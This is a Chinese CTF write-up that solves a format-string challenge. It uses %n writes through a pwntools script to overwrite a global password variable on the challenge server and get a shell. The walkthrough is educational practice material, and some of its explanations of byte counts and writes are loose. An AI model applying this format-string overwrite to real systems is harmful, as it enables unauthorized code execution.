题目类型:格式化字符串漏洞
首先检测checksec (重要的事情说三遍)
发现了 Stack: Canary found
所以我们没办法栈溢出了
题目的关键是
if ( atoi(ebp_80) == dword_804C044 ) // 如果passwd是某个随机数
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
因为没有栈溢出,然后这个题目的其中一个突破口就是格式化字符串漏洞,通过printf实现
printf("%s%n", "happy", &ptr); //happy占用4字节的字符串,于%n让是ptr=4
printf("%x%16$n",0x1234);//0x1234也占用4字节,于是距离栈顶16字节的地方,读取里面的地址x ,然后*x=4
于是,我们可以输入全局变量的地址
让全局变量的地址存在于栈中
然后通过类似于%x%16$n
的格式化字符串修改全局变量
比如一下字符串
输入b'44C00408'+ "%10$n"
如果在printf输出的时候,44C00408
刚好位于栈顶往下10字节的地方
那么我们的 byte ptr [44C00408]=4 (4字节长度)
所以我们需要精心构造"%10$n"
类似于的数据
当我们用IDA调试printf(我们的输入)
运行到输入
然后去观察栈的情况
发现当pritnf输入的时候,栈顶距离我们的输入的数据相差10字节
如果我们要对全局变量修改的话,可以考虑修改4个字节(等价于全部修改)
于是
然后我们可以通过格式化字符串%n
的漏洞去修改该全局遍历的值
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) #4个地址分别指向了我们全局变量int(4字节)的每个字节
payload+='%10$n%11$n%12$n%13$n'
连在一起就是
16进制字节流b'44C0040845C0040846C0040847C00408' #16(0x10)
格式化字符串:%10$n%11$n%12$n%13$n
通过%xx$n 前面字节流的长度0x10分别写入到
byte ptr [esp+10 + 0] = byte ptr [esp+10] =0x10
byte ptr [esp+10 + 1] = byte ptr [esp+11] =0x10
byte ptr [esp+10 + 2] = byte ptr [esp+12] =0x10
byte ptr [esp+10 + 3] = byte ptr [esp+13] =0x10
于是我们的全局变量就被修改为了0x10101010
于是我们输入的数据就是0x10101010据可以让那个等号恒成立,于是等式成立
获取shell
所以最后的exp
from pwn import *
p=remote('node4.buuoj.cn',28806)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'
p.send(payload)
p.send(str(0x10101010)) #因为是atoi(passwd),所以我们输入的是字符串
p.interactive()